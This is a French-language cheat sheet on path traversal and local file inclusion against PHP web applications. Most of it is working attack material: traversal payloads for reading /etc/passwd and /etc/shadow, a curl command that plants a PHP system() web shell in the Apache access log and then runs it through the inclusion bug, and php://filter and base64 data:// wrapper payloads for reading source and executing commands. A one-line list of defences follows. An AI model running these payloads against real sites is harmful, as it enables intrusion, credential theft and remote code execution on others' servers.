Path Traversal / LFI — Lire des fichiers système

LFI RCE possible

Payloads

../../../etc/passwd
....//....//etc/passwd
..%2f..%2fetc%2fpasswd

# Fichiers Linux intéressants
/etc/passwd  /etc/shadow  /proc/self/environ
/var/log/apache2/access.log  <- log poisoning

Log Poisoning -> RCE

# 1. Injecter PHP dans le log
curl -H "User-Agent: <?php system($_GET['cmd']); ?>" http://target/

# 2. LFI pour exécuter
http://target/?page=../../../../var/log/apache2/access.log&cmd=id

PHP Wrappers

php://filter/convert.base64-encode/resource=config.php  # lire source
data://text/plain;base64,PD9waHAgc3lzdGVtKCJpZCIpOz8+  # RCE

Défenses

open_basedir en PHP · Valider et filtrer les inputs (whitelist) · Désactiver allow_url_include · Ne jamais passer l'input à include()